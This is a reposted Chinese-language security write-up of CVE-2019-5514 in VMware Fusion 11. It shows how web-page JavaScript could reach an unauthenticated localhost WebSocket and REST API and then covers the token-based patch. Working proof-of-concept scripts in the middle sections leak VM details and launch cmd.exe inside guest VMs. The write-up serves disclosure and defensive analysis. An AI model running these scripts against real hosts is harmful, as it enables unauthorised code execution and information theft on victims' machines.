内容简介:概述攻击者可以通过某个网站,在无需掌握任何预备知识的前提下,在VMware Fusion Guest VM上运行任意命令。基本来说,VMware Fusion仅仅会在本地主机上侦听WebSocket。攻击者可以通过这一WebSocket界面完全控制所有虚拟机,也可以创建或删除快照,或者进行其他的操作,包括启动应用程序。攻击者需要在Guest虚拟机上安装VMware Tools,才能够启动应用程序,但实际上,大家应该都已经安装了。因此,通过在网站上创建JavaScript,攻击者就可以与未经文档记录的API实
概述
攻击者可以通过某个网站,在无需掌握任何预备知识的前提下,在VMware Fusion Guest VM上运行任意命令。基本来说,VMware Fusion仅仅会在本地主机上侦听WebSocket。攻击者可以通过这一WebSocket界面完全控制所有虚拟机,也可以创建或删除快照,或者进行其他的操作,包括启动应用程序。攻击者需要在Guest虚拟机上安装VMware Tools,才能够启动应用程序,但实际上,大家应该都已经安装了。因此,通过在网站上创建JavaScript,攻击者就可以与未经文档记录的API实现交互。当然,这都是未经过身份验证的。
早期发现成果
几个星期前,我在Twitter上看到了 @CodeColorist 发表的一篇推文,谈到了这个问题。他是最早发现这一问题的人,但由于我一直没有时间研究这个问题,导致搁置了一段时间。当我再想回去看时,发现这篇推文已经被删除了。但是,我在这位研究者的微博帐号中发现了同样的推文(@CodeColorist)。下面是他发布的微博截图:
可以在这里看到,我们可以通过Web套接字在Guest VM上执行任意命令,该接口由amsrv进程启动。我非常信任这位研究者的研究成果,因此我接下来将在他提供的信息基础上做进一步的研究。
AMSRV
在研究中,我使用了GitHub上面的 ProcInfoExample项目 ,利用Proc Info库来监控运行VMware Fusion时启动的进程类型。在启动VMware时,将启动vmrest(VMware REST API)和amsrv:
2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start: pid: 10936 path: /Applications/VMware Fusion.app/Contents/Library/vmrest user: 501 args: ( "/Applications/VMware Fusion.app/Contents/Library/amsrv", "-D", "-p", 8698 ) 2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start: pid: 10935 path: /Applications/VMware Fusion.app/Contents/Library/amsrv user: 501 args: ( "/Applications/VMware Fusion.app/Contents/Library/amsrv", "-D", "-p", 8698 )
它们似乎是相关的,特别是,我们可以通过这个端口访问到一些未记录的VMware REST API调用。由于我们可以通过amsrv进程控制应用程序菜单,所以我认为这类似于“应用程序菜单服务”(Application Menu Service)。如果我们导航到/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources的位置,我们可以找到一个名为app.asar的文件,在文件的末尾有一个node.js实现,与这个侦听8698端口的WebSocket相关。在该文件中,源代码的格式规范非常好,因此我们并不需要进行硬核的逆向工程。
我们查看这部分代码,它表明VMware Fusion应用程序菜单确实会在8698端口上启动amsrv进程,如果该端口被占用,那么将会尝试下一个可以启用的端口,依次类推。
const startVMRest = async () => { log.info('Main#startVMRest'); if (vmrest != null) { log.warn('Main#vmrest is currently running.'); return; } const execSync = require('child_process').execSync; let port = 8698; // The default port of vmrest is 8697 let portFound = false; while (!portFound) { let stdout = execSync('lsof -i :' + port + ' | wc -l'); if (parseInt(stdout) == 0) { portFound = true; } else { port++; } } // Let's store the chosen port to global global['port'] = port; const spawn = require('child_process').spawn; vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [ '-D', '-p', port ]);
我们可以在VMware Fusion Application目录日志中找到相关的日志信息:
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws ) 2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws ) 2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )
这样一来,我们就可以确认Web套接字和其他API接口。
REST API – 泄漏虚拟机信息
如果我们导航到上面的URL(http://localhost:8698/api/internal/vms),我们将获得格式良好的JSON,以及关于我们的虚拟机的详细信息:
[ { "id": "XXXXXXXXXXXXXXXXXXXXXXXXXX", "processors": -1, "memory": -1, "path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx", "cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist", "powerState": "unknown" } ]
这已经是信息泄露,攻击者可以获取有关我们的用户ID、文件夹名称、虚拟机名称等基本信息。下面的代码可以用于展示这些信息。如果我们能够将这个JavaScript放入任何网站,并且运行Fusion的主机可以访问它,那么我们就可以查询REST API。
var url = 'http://localhost:8698/api/internal/vms'; //A local page var xhr = new XMLHttpRequest(); xhr.open('GET', url, true); // If specified, responseType must be empty string or "text" xhr.responseType = 'text'; xhr.onload = function () { if (xhr.readyState === xhr.DONE) { if (xhr.status === 200) { console.log(xhr.response); //console.log(xhr.responseText); document.write(xhr.response) } } }; xhr.send(null);
如果我们仔细阅读代码,就会发现这些额外的URL泄漏了更多信息:'/api/vms/' + vm.id + '/ip'。这样一来,我们就会获得虚拟机的内部IP地址,但这种方法并不适用于加密的虚拟机或已经关机的虚拟机。'/api/internal/vms/' + vm.id这部分与我们此前提到的第一个URL所获得的信息是相同的,仅仅是将信息限制为针对单个虚拟机。
WebSocket-带有vmUUID的RCE
下面是@CodeColorist发布的原始PoC。
<script> ws = new WebSocket("ws://127.0.0.1:8698/ws"); ws.onopen = function() { const payload = { "name":"menu.onAction", "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00", "userInfo": { "action":"launchGuestApp:", "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00", "representedObject":"cmd.exe" } }; ws.send(JSON.stringify(payload)); }; ws.onmessage = function(data) { console.log(JSON.parse(data.data)); ws.close(); }; </script>
在这个PoC中,我们需要虚拟机的UUID才能启动应用程序。我们可以在vmx文件中找到bios.uuid,这就是所说的VmUUID。但问题是,这里并不存在 vmUUID泄漏的情况,我们也不能使用暴力破解的方式,这几乎是不可能完成的任务。我们需要在Guest VM上安装VMware Tools才能成功运行,但实际上绝大多数用户都已经预先安装了这一工具。如果虚拟机被挂起或关闭,那么VMware将能够帮助我们启动虚拟机。另外,命令也会被加入到队列中,直到用户登录,因此即使是在屏幕锁定的状态下,我们也可以在用户登录后运行此命令。经过一些尝试后,我注意到,如果我删除了对象和vmUUID元素,代码最后使用的虚拟机仍然会执行,因此也就会保存一些状态信息。
WebSocket – 信息泄漏
在开始还原,并追踪Web套接字将调用的内容,以及代码中的其它选项之后,一些事情就会变得清晰,这时我们就可以完整访问应用程序目录,并且可以完整控制所有内容。在检查VMware Fusion二进制文件时,我们发现其他目录中包含一些其他的选项。
aMenuupdate: 00000001003bedd2 db "menu.update", 0 ; DATA XREF=cfstring_menu_update aMenushow: 00000001003bedde db "menu.show", 0 ; DATA XREF=cfstring_menu_show aMenuupdatehotk: 00000001003bede8 db "menu.updateHotKey", 0 ; DATA XREF=cfstring_menu_updateHotKey aMenuonaction: 00000001003bedfa db "menu.onAction", 0 ; DATA XREF=cfstring_menu_onAction aMenurefresh: 00000001003bee08 db "menu.refresh", 0 ; DATA XREF=cfstring_menu_refresh aMenusettings: 00000001003bee15 db "menu.settings", 0 ; DATA XREF=cfstring_menu_settings aMenuselectinde: 00000001003bee23 db "menu.selectIndex", 0 ; DATA XREF=cfstring_menu_selectIndex aMenudidclose: 00000001003bee34 db "menu.didClose", 0 ; DATA XREF=cfstring_menu_didClose
这些都是通过WebSocket调用的。我没有再继续深入地研究每个菜单上的每个选项,但是如果我们已经掌握了vmUUID,我们就可以做任何想做的事情,例如制作快照、启动虚拟机、删除虚拟机等等。但由于目前,我还没有弄清楚应该如何得到它,因此还没能够实际实现这一点,这也是需要解决的一个问题。
下一个值得关注的选项是menu.refresh。如果我们使用以下Payload:
const payload = { "name":"menu.refresh", };
我们将会获得和虚拟机以及固定应用程序相关的一些详细信息。
{ "key": "menu.update", "value": { "vmList": [ { "name": "Kali 2018 Master (2018Q4)", "cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist" }, { "name": "macOS 10.14", "cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist" }, { "name": "Windows 10 x64", "cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist" } ], "menu": { "pinnedApps": [], "frequentlyUsedApps": [ { "rawIcons": [ { (...)
通过前面讨论的API,我们可以发现这一点,因此我们发现了更多的信息被泄漏。
WebSocket – 完整的远程代码执行(在不掌握vmUUID的情况下)
下一个值得关注的条目时menu.selectIndex,它建议用户可以选择的虚拟机。甚至,在app.asar文件中,有一部分相关的代码,可以告知我如何对其进行调用:
// Called when VM selection changed selectIndex(index: number) { log.info('Renderer#ActionService::selectIndex: (index:', index, ')'); if (this.checkIsFusionUIRunning()) { this.send({ name: 'menu.selectIndex', userInfo: { selectedIndex: index } }); }
如果我们按照上面的建议来对此项进行调用,然后尝试在Guest虚拟机上启动应用程序,我们就可以指定哪个Guest VM运行该应用程序。基本上,我们可以通过这一调用来实现虚拟机的选择。
const payload = { "name":"menu.selectIndex", "userInfo": { "selectedIndex":"3" } };
接下来,我进行了尝试,看看是否可以直接在menu.onAction调用中使用selectedIndex。最终,答案是肯定的。很明显,我使用menu.refresh获得的vmList具有每个虚拟机正确顺序和索引。
为了获得完整的远程代码执行,我们的步骤应该如下:
1. 使用menu.refresh泄漏虚拟机列表;
2. 使用索引,在Guest VM上启动应用程序。
PoC
<script> ws = new WebSocket("ws://127.0.0.1:8698/ws"); ws.onopen = function() { //payload to show vm names and cache path const payload = { "name":"menu.refresh", }; ws.send(JSON.stringify(payload)); }; ws.onmessage = function(data) { //document.write(data.data); console.log(JSON.parse(data.data)); var j_son = JSON.parse(data.data); var vmlist = j_son.value.vmList; var i; for (i = 0; i < vmlist.length; i++) { //payload to launch an app, you can use either the vmUUID or the selectedIndex const payload = { "name":"menu.onAction", "userInfo": { "action":"launchGuestApp:", "selectedIndex":i, "representedObject":"cmd.exe" } }; if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));} } ws.close(); }; </script>
向VMware报告
在此时,我与@Codecolorist取得了联系,并询问他是否已经向VMware报告,得到了肯定的答案,并且VMware持续在与他进行沟通。我决定,向VMware发送另一份报告,因为我发现这一漏洞非常严重,特别是与原来的PoC相比,我找到了一种能够执行这种攻击的实际方法,我希望能督促VMware尽快修复。
修复
几天前,WMware发布了一个修补程序和咨询,编号为 VMSA-2019-0005 。我们来看看他们做出的实际改动,基本上,他们实现了令牌认证,其中每次启动VMware都会运行新生成的令牌。
下面是用于生成令牌的相关代码(来源于app.asar):
String.prototype.pick = function(min, max) { var n, chars = ''; if (typeof max === 'undefined') { n = min; } else { n = min + Math.floor(Math.random() * (max - min + 1)); } for (var i = 0; i < n; i++) { chars += this.charAt(Math.floor(Math.random() * this.length)); } return chars; String.prototype.shuffle = function() { var array = this.split(''); var tmp, current, top = array.length; if (top) while (--top) { current = Math.floor(Math.random() * (top + 1)); tmp = array[current]; array[current] = array[top]; array[top] = tmp; } return array.join(''); export class Token { public static generate(): string { const specials = '<a href="/cdn-cgi/l/email-protection" data-cfemail="b091f0">[email protected]</a>#$%^&*()_+{}:"<>?|[];\',./`~'; const lowercase = 'abcdefghijklmnopqrstuvwxyz'; const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; const numbers = '0123456789'; const all = specials + lowercase + uppercase + numbers; let token = ''; token += specials.pick(1); token += lowercase.pick(1); token += uppercase.pick(1); token += numbers.pick(1); token += all.pick(5, 7); token = token.shuffle(); return Buffer.from(token).toString('base64'); }
令牌码是一个可变长度的密码,其中包含来自APP、小写、数字和符号之中的至少1个字符。该令牌码将会被使用Base64方法进行编码,我们可以在WireShark中找到它:
我们还可以看到它正在代码中使用:
function sendVmrestReady() { log.info('Main#sendVmrestReady'); if (mainWindow) { mainWindow.webContents.send('vmrestReady', [ 'ws://localhost:' + global['port'] + '/ws?token=' + token, 'http://localhost:' + global['port'], '?token=' + token ]); }
如果我们有mac用于执行代码,我们可能会解决这一令牌的问题,但在这种情况下,它无论如何都并不重要,密码实际上会限制攻击者利用这个远程代码的能力。
通过一些实验,我还发现我们需要将Header中的Origin设置为file://,否则将会被禁用,由于这必须由浏览器进行设置,所以我们无法通过正常的JS调用来进行设置。如下所示。
Origin: file://
因此,即使攻击者知道令牌,也无法通过普通网页触发此令牌。
以上所述就是小编给大家介绍的《VMware Fusion 11通过WebSocket接口控制虚拟机RCE漏洞分析(CVE-2019-5514)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。